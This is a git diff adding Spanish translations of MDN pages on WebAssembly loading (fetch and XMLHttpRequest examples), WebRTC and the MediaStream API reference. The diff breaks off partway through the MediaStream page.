+ <dt>{{jsxref("Global_objects/WebAssembly/Global", "WebAssembly.Global()")}}</dt>
+ <dd>El objeto <code>WebAssembly.Global</code> representa una instancia variable global, accesible desde JavaScript e importable/exportable a través de una o más instancias de {{jsxref("WebAssembly.Module")}}. Esto permite el enlace dinámico de varios módulos.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Module", "WebAssembly.Module()")}}</dt>
+ <dd>El objeto <code>WebAssembly.Module</code> contiene código WebAssembly sin estado que ha sido ya compilado por el navegador y puede ser <a href="/en-US/docs/Web/API/Worker/postMessage">compartido con workers</a> e instanciado varias veces.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Instance", "WebAssembly.Instance()")}}</dt>
+ <dd>Un objeto <code>WebAssembly.Instance</code> es una instancia ejecutable y con estado de un <code>Module</code>.  Los objetos <code>Instance</code> contienen todas las <a href="/en-US/docs/WebAssembly/Exported_functions">funciones exportadas de WebAssembly</a> que permiten llamar a código WebAssembly desde JavaScript.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/instantiateStreaming", "WebAssembly.instantiateStreaming()")}}</dt>
+ <dd>La función <code>WebAssembly.instantiateStreaming()</code> es la principal API para compilar e instanciar código WebAssembly, retornando tanto un <code>Module</code> como su primera <code>Instance</code>.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Memory", "WebAssembly.Memory()")}}</dt>
+ <dd>Un objeto <code>WebAssembly.</code><code>Memory</code> es un {{jsxref("Global_objects/ArrayBuffer", "ArrayBuffer")}} redimensionable que contiene los bytes de memoria accedidos por una <code>Instance</code>.</dd>
+ <dt>{{jsxref("Global_objects/WebAssembly/Table", "WebAssembly.Table()")}}</dt>
+ <dd>Un objeto <code>WebAssembly.</code><code>Table</code> es un arreglo tipado redimensionable de valores opacos, como referencias a funciones, que son accedidos por una <code>Instance</code>.</dd>
+ <dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
+ <dd>Crea un nuevo objeto <code>CompileError</code> de WebAssembly.</dd>
+ <dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
+ <dd>Crea un nuevo objeto <code>LinkError</code> de WebAssembly.</dd>
+ <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
+ <dd>Crea un nuevo objeto <code>RuntimeError</code> de WebAssembly.</dd>
+</dl>
+</div>
+</div>
+
+<h2 dir="ltr" id="Ejemplos">Ejemplos</h2>
+
+<ul dir="ltr">
+ <li><a href="https://github.com/JasonWeathersby/WASMSobel">WASMSobel</a></li>
+ <li>Consulta nuestro repositorio <a href="https://github.com/mdn/webassembly-examples/">webassembly-examples</a> para ver otros ejemplos.</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Borrador inicial de la definición de la API de JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul dir="ltr">
+ <li><a href="https://research.mozilla.org/webassembly/">WebAssembly en Mozilla Research</a></li>
+ <li><a href="http://webassembly.org/">webassembly.org</a></li>
+ <li><a href="https://hacks.mozilla.org/category/webassembly/">Artículos de WebAssembly en el blog Mozilla Hacks</a></li>
+ <li><a href="https://www.w3.org/community/webassembly/">Grupo comunitario de WebAssembly del W3C</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Large-Allocation">Cabecera HTTP Large-Allocation</a></li>
+ <li><a href="https://developers.google.com/web/updates/2018/03/emscripting-a-c-library">Compilar una librería de C a Wasm</a></li>
+</ul>
diff --git a/files/es/webassembly/loading_and_running/index.html b/files/es/webassembly/loading_and_running/index.html
new file mode 100644
index 0000000000..6b98952ec3
--- /dev/null
+++ b/files/es/webassembly/loading_and_running/index.html
@@ -0,0 +1,111 @@
+---
+title: Loading and running WebAssembly code
+slug: WebAssembly/Loading_and_running
+tags:
+  - JavaScript
+  - Traer
+  - WebAssembly
+  - XMLHttpRequest
+  - bytecode
+translation_of: WebAssembly/Loading_and_running
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<p class="summary">Para utilizar WebAssembly en JavaScript, necesita primero jalar su módulo dentro de la memoria antes dela compilación/instanciación. Este artículo ofrece una referencia para mecanismos distintos que pueden traer el bytecode de WebAssembly, así como tener la forma de compilar/instanciarlo una vez que ya funciona.</p>
+
+<h2 id="¿Cuáles_son_las_opciones">¿Cuáles son las opciones?</h2>
+
+<p>WebAssembly no está integradon aún con la etiqueta <code>&lt;script type='module'&gt;</code> o con la directiva ES2015 <code>import</code>, así, no existe una forma para que el navegador busque sus módulos a partir de importaciones.</p>
+
+<p>Los métodos anteriores {{jsxref("WebAssembly.compile")}}/{{jsxref("WebAssembly.instantiate")}} requieren que se creen un {{domxref("ArrayBuffer")}} que contenga su módulo binario WebAssembly después de buscar los bytes sin procesar, y luego los compila/instancia. Estos es análogo a la <code>new Function(string)</code>, excepto que estamos sustituyendo una cadena de caracteres (código fuente JavaScript) con una memoria intermedia (arreglo) de bytes (código fuente de WebAssembly).</p>
+
+<p>Lo actual en métodos {{jsxref("WebAssembly.compileStreaming")}}/{{jsxref("WebAssembly.instantiateStreaming")}} es que son mucho más eficientes  — desempeñan sus acciones directamente sobre flujos de bytes sin procesar (raw streams) originados en la red, suprimiendo la necesidad de tenerl el paso de {{domxref("ArrayBuffer")}}.</p>
+
+<p>La pregunta ¿cómo hacemos para tener esos bytes dentro de la memoria intermedia (arreglo) y compilarlos? En la siguiente sección lo explicamos.</p>
+
+<h2 id="Utilización_de_Fetch_Traer_a">Utilización de Fetch (Traer a)</h2>
+
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> es una API moderna y conveniente para traer recursos de la red.</p>
+
+<p>La manera más eficiente y rápida de traer un módulo wasm (WebAssembly Module) es utilizando el método actualizado {{jsxref("WebAssembly.instantiateStreaming()")}}, que puede generar una llamada al método <code>fetch()</code> como primer argumento y manejará la búsqueda, compilación e instanciación del módulo paso a paso, teniendo acceso a los bytes sin procesar mientras se transmiten (stream) del servidor:</p>
+
+<pre class="brush: js notranslate">WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(results =&gt; {
+  // Hacemos algo con el resultado aquí!
+});</pre>
+
+<p>Si usamos el método anterior {{jsxref("WebAssembly.instantiate()")}} , que no trabaja sobre una transmisión (stream) directa, necesitaremos un paso adicional para convertir el byte code buscado a un {{domxref("ArrayBuffer")}}, como se muestra a continuación:</p>
+
+<pre class="brush: js notranslate">fetch('module.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.instantiate(bytes, importObject)
+).then(results =&gt; {
+  // Hacemos algo con el resultado aquí!
+});</pre>
+
+<h3 id="Más_allá_de_las_sobrecargas_de_instantiate">Más allá de las sobrecargas de instantiate()</h3>
+
+<p>La función {{jsxref("WebAssembly.instantiate()")}} tiene dos formas de sobrecargar — la primera se muestra arriba, toma el byte code como argumento para compilar y regresa un compromiso de que resolverá un objeto que contenga tanto un módulo objeto compilado, como una instancia desarrollada de ello. El objeto se ve como lo siguiente:</p>
+
+<pre class="brush: js notranslate">{
+  module : Module // El recién compilado objeto WebAssembly.Module,
+  instance : Instance // Una instancia nueva de WebAssembly.Instance del módulo}</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Generalmente solo nos preocupamos de la instancia, pero resulta útil tener el módulo en caso de que querramos almacenarlo temporalmente (cache), compartirlo con otro proceso o ventana vía <code><a href="/en-US/docs/Web/API/MessagePort/postMessage">postMessage()</a></code>, o simplemente crear mas instancias.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: La segunda forma de sobrecarga utiliza un objeto del tipo {{jsxref("WebAssembly.Module")}} como argumento y regresa un compromiso directo conteniendo la instancia del objeto como resultado. Vea el <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate#Second_overload_example">Segundo ejemplo de sobrecarga</a>.</p>
+</div>
+
+<h3 id="Ejecutando_su_código_WebAssembly">Ejecutando su código WebAssembly </h3>
+
+<p>Una vez que se tiene disponible la instancia WebAssembly en su código JavaScript, puede entonces comenzar a utilizar las funcionalidades de éste, que han sido exportadas vía la propiedad {{jsxref("WebAssembly.Instance/exports", "WebAssembly.Instance.exports")}}. Su código podría verse como lo que a continuación mostramos:</p>
+
+<pre class="brush: js notranslate">WebAssembly.instantiateStreaming(fetch('myModule.wasm'), importObject)
+.then(obj =&gt; {
+  // Llamada a una función exportada:
+  obj.instance.exports.exported_func();
+
+  // o acceso al contenido de la memoria exportada:
+  var i32 = new Uint32Array(obj.instance.exports.memory.buffer);
+
+  // o acceso a los elementos de una tabla exportada:
+  var table = obj.instance.exports.table;
+  console.log(table.get(0)());
+})</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Para mayor información sobre como funciona la exportación de módulos WebAssembly, debes leer <a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Utilización de la Interfaz (API) de WebAssembly JavaScript</a>, y <a href="/en-US/docs/WebAssembly/Understanding_the_text_format">Entendiendo el formato de texto en WebAssembly</a>.</p>
+</div>
+
+<h2 id="Utilizando_XMLHttpRequest">Utilizando XMLHttpRequest</h2>
+
+<p><code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> es de alguna forma más viejo que Fetch, pero se puede utilizar aún para obtener un arreglo de tipos. De nuevo, los pasos para utilizarlo, asumiendo que nuestro módulo se llama <code>simple.wasm</code>:</p>
+
+<ol>
+ <li>Crear una instancia nueva de {{domxref("XMLHttpRequest()")}}  y utilizar su método {{domxref("XMLHttpRequest.open","open()")}} para abrir una petición, dejando el método de petición en <code>GET</code>, y declarando la ruta al alrchivo que queremos traer.</li>
+ <li>La parte clave de esto es poner el tipo de respuesta al uso de <code>'arraybuffer'</code> por medio de la propiedad {{domxref("XMLHttpRequest.responseType","responseType")}}.</li>
+ <li>Luego, enviar la petición utilizando {{domxref("XMLHttpRequest.send()")}}.</li>
+ <li>Cuando luego se utilice el manejador de evento {{domxref("XMLHttpRequest.onload", "onload")}} para invocar una función cuando la respuesta haya terminado de descargar  — en esta función tomamos el arreglo de la propiedad {{domxref("XMLHttpRequest.response", "response")}} y luego lo mandamos a nuestro método {{jsxref("WebAssembly.instantiate()")}} como hicimos con Fetch.</li>
+</ol>
+
+<p>El código final queda:</p>
+
+<pre class="brush: js notranslate">request = new XMLHttpRequest();
+request.open('GET', 'simple.wasm');
+request.responseType = 'arraybuffer';
+request.send();
+
+request.onload = function() {
+  var bytes = request.response;
+  WebAssembly.instantiate(bytes, importObject).then(results =&gt; {
+    results.instance.exports.exported_func();
+  });
+};</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puede ver un ejemplo de esta acción en <a href="https://mdn.github.io/webassembly-examples/js-api-examples/xhr-wasm.html">xhr-wasm.html</a>.</p>
+</div>
diff --git a/files/es/webrtc/index.html b/files/es/webrtc/index.html
new file mode 100644
index 0000000000..3dcb9afbdd
--- /dev/null
+++ b/files/es/webrtc/index.html
@@ -0,0 +1,77 @@
+---
+title: WebRTC
+slug: WebRTC
+translation_of: Web/API/WebRTC_API
+---
+<p>El RTC en WebRTC significa <em>Real-Time Communications</em>, o comunicaciones en tiempo real, en español. WebRTC es una tecnología que permite compartir en tiempo real datos de audio y video entre navegadores (pares). Como conjunto de estándares, WebRTC provee a cualquier navegador de la capacidad de compartir datos de aplicación y realizar teleconferencias de par a par, sin la necesidad de instalar complementos o Software de terceros.</p>
+<p>Los componentes de WebRTC son utilizados a través de interfaces avanzadaz de programación en JavaScript (APIs). Actualmente se están desarrollando la API de streaming a través de la red, que representa los flujos de datos de audio y vídeo, y la API PeerConnection, que permite a dos o más usuarios realizar conexiones navegador a navegador. Igualmente en desarrollo se encuentra la API DataChannel, que permite la transmisión de otros tipos de datos para juegos en tiempo real, mensajería instantánea, transferencia de archivos, y otros.</p>
+<div class="note">
+  <p><strong>Nota:</strong> Parte de este contenido está desactualizado, pero se estará actualizando pronto.</p>
+</div>
+<p>¿Quieres descubrir WebRTC? ¡Mira este <a href="https://mozillaignite.org/resources/labs/future-uses-of-webrtc-video" title="/en-US/docs/https://mozillaignite.org/resources/labs/future-uses-of-webrtc-video">vídeo introductorio!</a></p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation" name="Documentation">Documentación sobre WebRTC</h2>
+        <dl>
+          <dt>
+            <a href="/es/docs/WebRTC/Introduction" title="/en-US/docs/WebRTC/Introduction">Introducción a WebRTC</a></dt>
+          <dd>
+            Una guía de introducción sobre qué es WebRTC y cómo funciona.</dd>
+          <dt>
+            <a href="/en-US/docs/WebRTC/Using_the_Network_Stream_API" title="/en-US/docs/WebRTC/Using_the_Network_Stream_API">Using the Network Stream API</a></dt>
+          <dd>
+            Una guía para usar la API Network Stream para transmitir flujos de audio y vídeo.</dd>
+          <dt>
+            <a href="/es/docs/WebRTC/Peer-to-peer_communications_with_WebRTC" title="/en-US/docs/WebRTC/Peer-to-peer_communications_with_WebRTC">Comunicaciones peer-to-peer (P2P) con WebRTC</a></dt>
+          <dd>
+            Como realizar conexiones par a par usando las APIs de WebRTC.</dd>
+          <dt>
+             </dt>
+          <dt>
+            <a href="/es/docs/WebRTC/Taking_webcam_photos" title="taking webcam photos">Capturar fotografías con la cámara web</a></dt>
+          <dd>
+            Como capturar imágenes desde un Webcam con WebRTC.</dd>
+          <dt>
+            <a href="/es/docs/WebRTC/MediaStream_API" title="/en-US/docs/WebRTC/MediaStream_API">API de MediaStream</a></dt>
+          <dd>
+            Descripción de la API que soporta la creación y manipulación de flujos de medios.</dd>
+          <dt>
+            <a href="/es/docs/Web/API/Navigator.getUserMedia" title="/en-US/docs/">getUserMedia()</a></dt>
+          <dd>
+            La función del navegador que permite el acceso a dispositivos de medios del sistema.</dd>
+          <dd>
+             </dd>
+        </dl>
+        <p><span class="alllinks"><a href="/en-US/docs/tag/WebRTC" title="/en-US/docs/tag/B2G">Ver todo...</a></span></p>
+        <h2 class="Tools" id="Ejemplos">Ejemplos</h2>
+        <ul>
+          <li><a href="http://idevelop.github.com/ascii-camera/" title="http://idevelop.github.com/ascii-camera/">ASCII camera</a></li>
+        </ul>
+      </td>
+      <td>
+        <h2 class="Community" id="Community" name="Community">Obteniendo ayuda de la comunidad</h2>
+        <p>Cuando desarrolles sitios y aplicaciones que tomen ventaja de las tecnologías de WebRTC, puede ser muy útil ponerse en contacto con otras personas haciendo lo mismo.</p>
+        <ul>
+          <li>Consulta el tópico <em>Media</em> en el foro: {{ DiscussionList("dev-media", "mozilla.dev.media") }}</li>
+        </ul>
+        <ul>
+          <li>Pregunta en el canal IRC de Media de Mozilla: <a class="link-irc" href="irc://irc.mozilla.org/media" title="irc://irc.mozilla.org/b2g">#media</a></li>
+        </ul>
+        <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">No olvides la <em>netiqueta</em>...</a></span></p>
+        <br>
+        <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Tópicos relacionados</h2>
+        <ul>
+          <li><a href="/es/docs/Usando_audio_y_video_con_HTML5" title="/es/docs/Usando_audio_y_video_con_HTML5">Usando audio y video con HTML5</a></li>
+        </ul>
+        <h2 class="Tools" id="Recursos">Recursos</h2>
+        <ul>
+          <li><a href="http://www.w3.org/TR/webrtc/" title="WebRTC specification">WebRTC Specification</a></li>
+          <li><a href="http://mozilla.github.io/webrtc-landing/" title="http://mozilla.github.io/webrtc-landing/">WebRTC Test Landing Page</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/es/webrtc/introduction/index.html b/files/es/webrtc/introduction/index.html
new file mode 100644
index 0000000000..2529f32085
--- /dev/null
+++ b/files/es/webrtc/introduction/index.html
@@ -0,0 +1,21 @@
+---
+title: WebRTC Introduction
+slug: WebRTC/Introduction
+translation_of: Web/API/WebRTC_API/Session_lifetime
+---
+<div class="note">
+  <p>WebRTC te permite establecer una comunicación par-a-par en una aplicación del navegador.</p>
+</div>
+<h2 id="Estableciendo_la_conexión">Estableciendo la conexión</h2>
+<p>La conexión inicial entre pares debe ser establecida a través de un servidor de aplicaciones que proporcione descubrimiento de usuarios, comunicación y traducción de direcciones de red (NAT) con transmisión de datos.</p>
+<h3 id="Señalización">Señalización</h3>
+<p>Señalización es el mecanismo por el cual los pares se envían mensajes de control entre sí con el propósito de establecer el protocolo, canal, y método de comunicación. Estos no están especifiados en el standar WebRTC. En su lugar, el desarrollador puede elegir cualquier protocolo de mensajería (como SIP o XMPP), y cualquier canal de comunicación bidirecional (como WebSocket o XMLHttpRequest) en conjunción con un servidor con un API de  conexión permanente (como  el <a href="https://developers.google.com/appengine/docs/python/channel/overview" title="https://developers.google.com/appengine/docs/python/channel/overview">Google Channel API</a>) para AppEngine.</p>
+<h2 id="Transmisión">Transmisión</h2>
+<h3 id="getUserMedia">getUserMedia</h3>
+<p>LocalMediaStream object</p>
+<h2 id="Recepción">Recepción</h2>
+<p>El soporte para WebRTC en Firefox está escondido detrás de un selector de preferencias. Ve a <a href="/about:config" title="/about:config">about:config</a> y establce 'media.navigator.enabled' a 'true'.</p>
+<div class="note">
+  <p>Hay algunos archivos de prueba en el repositorio de código para darte una idea de cómo funciona. Ve: <a href="http://hg.mozilla.org/projects/alder/file/tip/dom/media/tests/local_video_test.html">dom/media/tests/local_video_test.html</a>. Por favor, prueba también la<a href="http://webrtc-demo.herokuapp.com/mozdemo">demo de servicio de llamadas</a>, la página de su código, y <a href="https://github.com/anantn/webrtc-demo/">el código de su servidor</a>.</p>
+</div>
+<p> </p>
diff --git a/files/es/webrtc/mediastream_api/index.html b/files/es/webrtc/mediastream_api/index.html
new file mode 100644
index 0000000000..f8ab5d5c05
--- /dev/null
+++ b/files/es/webrtc/mediastream_api/index.html
@@ -0,0 +1,445 @@
+---
+title: API de MediaStream
+slug: WebRTC/MediaStream_API
+translation_of: Web/API/Media_Streams_API
+---
+<p>{{SeeCompatTable}}</p>
+<p>La <strong>API de proceso <a href="#_edn1" name="_ednref1" title=""><strong>[i]</strong></a><em>MediaStream</em></strong>, a veces llamada<em>Media Stream API</em> o<em> Stream API</em>, es parte de la norma <a href="https://developer.mozilla.org/en-US/docs/WebRTC" title="https://developer.mozilla.org/en-US/docs/WebRTC">WebRTC [en]</a> y describe un flujo de datos de audio o video, los métodos para trabajar con ellos, las limitaciones asociadas con este tipo de datos, las respuestas de error y éxito al usar los datos asincrónicamente y los eventos que se disparan durante el proceso.</p>
+<div>
+   </div>
+<h2 id="Conceptos_Básicos">Conceptos Básicos</h2>
+<p>La API está basada sobre la manipulación de  un objeto {{domxref("MediaStream")}} que representa un flujo de datos de audio o video. Generalmente, un objeto <code>MediaStream</code> es una simple cadena URL que puede ser usada para referirse a datos almacenados en un {{domxref("Archivo")}} DOM  o un objeto {{domxref("Blob")}} creado con {{domxref("window.URL.createObjectURL()")}}, como se lo describe en<a href="https://developer.mozilla.org/en-US/docs/WebRTC/taking_webcam_photos#Get_the_video" title="https://developer.mozilla.org/en-US/docs/WebRTC/taking_webcam_photos#Get_the_video"> <u>Obtener el video</u></a>.</p>
+<p>Un <code>MediaStream</code> está compuesto por más objetos <a href="#_edn1" name="_ednref1" title="">[i]</a>{{domxref("MediaStreamTrack")}} que representan varias <strong>pistas</strong> de audio o video. Cada <code>MediaStreamTrack </code>puede tener uno o más <strong>canales</strong>. El canal representa la unidad menor de un flujo de medio, como una señal de audio asociada a un parlante específico, como el <em>izquierdo</em> o el <em>derecho</em> en una pista de audio estéreo.</p>
+<p>Los objetos <code>MediaStream</code> poseen una sola <strong>entrada</strong> y <strong>salida<a href="#_edn2" name="_ednref2" title=""><strong>[ii]</strong></a>. </strong>Un objeto <code>MediaStream</code> creado con <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator.getUserMedia?redirectlocale=en-US&amp;redirectslug=WebRTC%2Fnavigator.getUserMedia" title="https://developer.mozilla.org/en-US/docs/Web/API/Navigator.getUserMedia?redirectlocale=en-US&amp;redirectslug=WebRTC%2Fnavigator.getUserMedia"><u>getUserMedia()</u></a> se denomina <em>local </em>y tiene como origen de entrada una de las cámaras o micrófonos del usuario. Un MediaStream no local puede estar representando un elemento de medio como {{HTMLElement("video")}} o {{HTMLElement("audio")}}, un flujo originado en la red y obtenido a través de la <a href="#_edn3" name="_ednref3" title="">[iii]</a><a href="https://developer.mozilla.org/en-US/docs/WebRTC/PeerConnection_API" title="https://developer.mozilla.org/en-US/docs/WebRTC/PeerConnection_API"><em><u>PeerConnection API</u></em></a> o un flujo creado con la <a href="https://developer.mozilla.org/en-US/docs/Web_Audio_API" title="https://developer.mozilla.org/en-US/docs/Web_Audio_API"><u>API de Audio Web</u></a> <a href="#_edn4" name="_ednref4" title="">[iv]</a>{{domxref("MediaStreamAudioSourceNode")}}. La salida de un objeto <code>MediaStream</code> está enlazada a un <strong>consumidor.</strong> El mismo puede ser un elemento de medio  como <code>&lt;audio&gt; o &lt;video&gt;</code>, la <a href="https://developer.mozilla.org/en-US/docs/WebRTC/PeerConnection_API" title="https://developer.mozilla.org/en-US/docs/WebRTC/PeerConnection_API"><u>PeerConnection API</u></a> de WebRTC o una <a href="https://developer.mozilla.org/en-US/docs/Web_Audio_API" title="https://developer.mozilla.org/en-US/docs/Web_Audio_API"><u>API de Audio Web</u></a> <a href="#_edn5" name="_ednref5" title="">[v]</a>{{domxref("MediaStreamAudioDestinationNode")}}.</p>
+<div>
+   </div>
+<h2 id="Referencia">Referencia</h2>
+<div class="index">
+  <ul>
+    <li>{{event("addtrack")}} (event)</li>
+    <li>{{domxref("AudioStreamTrack")}}</li>
+    <li>{{domxref("BlobEvent")}}</li>
+    <li>{{domxref("BlobEventInit")}}</li>
+    <li>{{event("ended (MediaStream)")}} (event)</li>
+    <li>{{event("ended (MediaStreamTrack)")}} (event)</li>
+    <li>{{domxref("MediaStream")}}</li>
+    <li>{{domxref("MediaStreamConstraints")}}</li>
+    <li>{{domxref("MediaStreamTrack")}}</li>
+    <li>{{domxref("MediaStreamTrackEvent")}}</li>
+    <li>{{domxref("MediaStreamTrackList")}}</li>
+    <li>{{domxref("MediaTrackConstraints")}}</li>
+    <li>{{event("muted")}} (event)</li>
+    <li>{{domxref("NavigatorUserMedia")}}</li>
+    <li>{{domxref("NavigatorUserMediaError")}}</li>
+    <li>{{event("overconstrained")}} (event)</li>
+    <li>{{event("removetrack")}} (event)</li>
+    <li>{{event("started")}} (event)</li>
+    <li>{{event("unmuted")}} (event)</li>
+    <li>{{domxref("URL")}}</li>
+    <li>{{domxref("VideoStreamTrack")}}</li>
+  </ul>
+</div>
+<h2 id="Pista_de_MediaStream">Pista de MediaStream</h2>
+<p>Una <em>MediaStreamTrack </em>puede ser de dos tipos, de audio o video, y representa el origen del medio, como una cámara.</p>
+<h3 id="Atributos">Atributos</h3>
+<table>
+  <thead>
+    <tr>
+      <th scope="col">Atributo</th>
+      <th scope="col">Tipo</th>
+      <th scope="col">Descripción</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>enabled</td>
+      <td>Boolean </td>
+      <td>True si la pista sigue asociada a su fuente.</td>
+    </tr>
+    <tr>
+      <td>id</td>
+      <td>DOMString, read-only</td>
+      <td>Un <em>globally unique identifier </em>(GUID) que describe la pista de medios.</td>
+    </tr>
+    <tr>
+      <td>kind</td>
+      <td>DOMString, read-only</td>
+      <td>El <strong>audio</strong> o <strong>video</strong> para la pista de origen.</td>
+    </tr>
+    <tr>
+      <td>label</td>
+      <td>DOMString, read-only</td>
+      <td>Una cadena de tipo usuario-asignada que identifica la pista de origen, como en "internal microphone." </td>
+    </tr>
+    <tr>
+      <td>onended</td>
+      <td>EventHandler</td>
+      <td>Maneja el evento finalizado cuando se lo activa en el objeto MediaStreamTrack.</td>
+    </tr>
+    <tr>
+      <td>onmute </td>
+      <td>EventHandler</td>
+      <td>Maneja el evento mudo del objeto MediaStreamTrack. </td>
+    </tr>
+    <tr>
+      <td>onoverconstrained</td>
+      <td>EventHandler</td>
+      <td>Maneja el evento superrestricto cuando se lo activa en el objeto MediaStreamTrack.</td>
+    </tr>
+    <tr>
+      <td>onstarted</td>
+      <td>EventHandler</td>
+      <td>Maneja el evento iniciado cuando se lo activa en el objeto MediaStreamTrack.</td>
+    </tr>
+    <tr>
+      <td>onunmute </td>
+      <td>EventHandler</td>
+      <td>Manjea el evento sin enmudecer cuando se lo activa en el objeto MediaStreamTrack.</td>
+    </tr>
+    <tr>
+      <td>readyState</td>
+      <td>unsigned short, read-only</td>
+      <td>
+        <p>Valores para la pista lista:</p>
+        <ul>
+          <li>live - la pista está activa; la salida se puede activar <em>on</em> y <em>off</em> con el atributo habilitado.</li>
+          <li>muted - el origen del medio subyacente de la pista no puede proveer temporalmente datos en tiempo real.</li>
+        </ul>
+      </td>
+    </tr>
+    <tr>
+      <td>sourceId</td>
+      <td>DOMString, read-only</td>
+      <td>La identidad de este origen que es único para esta aplicación y persistente. Se recomienda una GUID pero no es obligatoria.</td>
+    </tr>
+    <tr>
+      <td>sourceType</td>
+      <td>SourceTypeEnum, read-only</td>
+      <td>Contiene el tipo de información del origen, si es que existe.</td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Eventos">Eventos</h3>
+<table>
+  <thead>
+    <tr>
+      <th scope="col">Evento</th>
+      <th scope="col">Interfaz</th>
+      <th scope="col">Descripción </th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>started</td>
+      <td>Event</td>
+      <td>El objeto MediaStreamTrack no es más "new" en el readyState.</td>
+    </tr>
+    <tr>
+      <td>muted</td>
+      <td>Event</td>
+      <td>El origen del objeto MediaStreamTrack no puede proveer datos temporalmente.</td>
+    </tr>
+    <tr>
+      <td>unmuted </td>
+      <td>Event</td>
+      <td>El origen del objeto MediaStreamTrack a recomenzado a proveer datos</td>
+    </tr>
+    <tr>
+      <td>overconstrained</td>
+      <td>Event</td>
+      <td>El origen del objeto MediaStreamTrack no puede ser confugurado para que encaje en las restricciones impuestas por la pista. Esto podría ocurrir con la altura en el caso de un video, entre otras posibilidades.</td>
+    </tr>
+    <tr>
+      <td>ended</td>
+      <td>Event</td>
+      <td>
+        <p>El origen del objeto MediaStreamTrack no proveerá datos; puede ocurrir por lo siguiente:</p>
+        <ul>
+          <li>el usuario a deshabilitado los permisos de la aplicación</li>
+          <li>el dispositivo de origen está desconectado</li>
+          <li>el <em>peer</em> remoto no transmite datos</li>
+          <li>se llamó el método stop()</li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="appendConstraint()">appendConstraint()</h3>
+<p>Agrega la restricción al final de la lista. Esto sólo es un método para añadir restricciones optativas.</p>
+<dl>
+  <dt>
+    Parámetros</dt>
+  <dd>
+    constraintName <strong>DOMString</strong>, required.</dd>
+  <dd>
+    constraintValue <strong>Primitive (DOMString, float, etc.) </strong>or<strong> MinMaxConstraint</strong>, required.</dd>
+  <dt>
+    Devuelve</dt>
+  <dd>
+    void</dd>
+  <dt>
+    Excepciones</dt>
+  <dd>
+    None.</dd>
+</dl>
+<h3 id="applyConstraints()">applyConstraints()</h3>
+<p>Aplica una lista de opciones optativas a la pista. Sobrescribe cualquier otra restricción optativa ya existente en la pista.</p>
+<dl>
+  <dt>
+    <strong>Parámetros</strong></dt>
+  <dd>
+    constraints <strong>MediaTrackConstraints</strong>, required.</dd>
+  <dt>
+    Devuelve</dt>
+  <dd>
+    void</dd>
+  <dt>
+    Excepciones</dt>
+  <dd>
+    None.</dd>
+</dl>
+<h3 id="constraints()">constraints()</h3>
+<p>Devuelte todas las <a href="#_edn1" name="_ednref1" title="">[i]</a>restricciones en la pista, obligatorias y optativas. Si tanto<em> <code>mandatory </code></em>u <code>optional</code> no tienen restricciones, ese campo será <code>undefined</code>. Si ninguno tiene restricciones, entonces<code> constraints()</code> devolverá <code>null<em>.</em></code></p>
+<dl>
+  <dt>
+    Parámetros</dt>
+  <dd>
+    None.</dd>
+  <dt>
+    Devuelve</dt>
+  <dd>
+    <strong>MediaTrackConstraints</strong> or <strong>null</strong></dd>
+  <dt>
+    <span id="cke_bm_186C" style="display: none;"> </span>Excepciones</dt>
+  <dd>
+    None.</dd>
+</dl>
+<h3 id="getConstraint()">getConstraint()</h3>
+<p>Trae una restricción específica, por nombre, de la pista. Este método puede devolver una de varias posibilidades:</p>
+<ul>
+  <li>Si su restricción no existe, devuelve <code>null.</code></li>
+  <li>Si no provee true para parámetro optativo<code>mandatory </code>y su búsqueda resulta en más de una restricción, este método devolverá una lista. Cada ítem de la lista será el nombre de la búsqueda así como su valor o un objeto <code>MinMaxConstraint</code>. La lista se agrupa con la entrada 0º como la más importante y cada entrada posterior es progresivamente menos importante.</li>
+  <li>Si provee<code>True </code>al parámetro <code>mandatory</code> y su búsqueda es miembro del <code>MediaTrackConstraintSet </code>de la pista, este método devuelve su valor primitivo o su <code>MinMaxConstraint</code>, cualquiera que aplique al caso.</li>
+</ul>
+<dl>
+  <dt>
+    Parámetros</dt>
+  <dd>
+    constraintName <strong>DOMString</strong>, required.</dd>
+  <dd>
+    mandatory <strong>boolean</strong>, optional, default false.</dd>
+  <dt>
